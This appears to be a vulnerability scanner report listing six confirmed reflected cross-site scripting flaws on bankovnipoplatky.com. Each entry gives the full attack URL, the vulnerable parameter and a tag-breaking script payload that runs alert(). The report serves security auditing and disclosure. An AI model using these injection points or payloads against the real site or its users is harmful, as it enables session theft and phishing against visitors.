bankovnipoplatky.com

XSS (Cross-site Scripting)

Severity: Important
Confirmation: Confirmed
URL: http://www.bankovnipoplatky.com/index.php?event='"--></style></script><script>alert(0x0006BB)</script>&bid=13
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: event
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0006BB)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.bankovnipoplatky.com/?e='"--></style></script><script>alert(0x00073B)</script>&anketa=4&odpoved=1
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: e
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x00073B)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.bankovnipoplatky.com/pobocky-bank.html?v='"--></style></script><script>alert(0x000DC8)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: v
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000DC8)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.bankovnipoplatky.com/?e='"--></style></script><script>alert(0x000FA7)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: e
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000FA7)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.bankovnipoplatky.com/?e='"--></style></script><script>alert(0x000FC2)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: e
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000FC2)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.bankovnipoplatky.com/index.php?event='"--></style></script><script>alert(0x00121E)</script>&img=http://www.bankovnipoplatky.com/files/pages/47-kontakty-html/nacher-jpg.jpg&w=124&h=82
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: event
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x00121E)</script>

//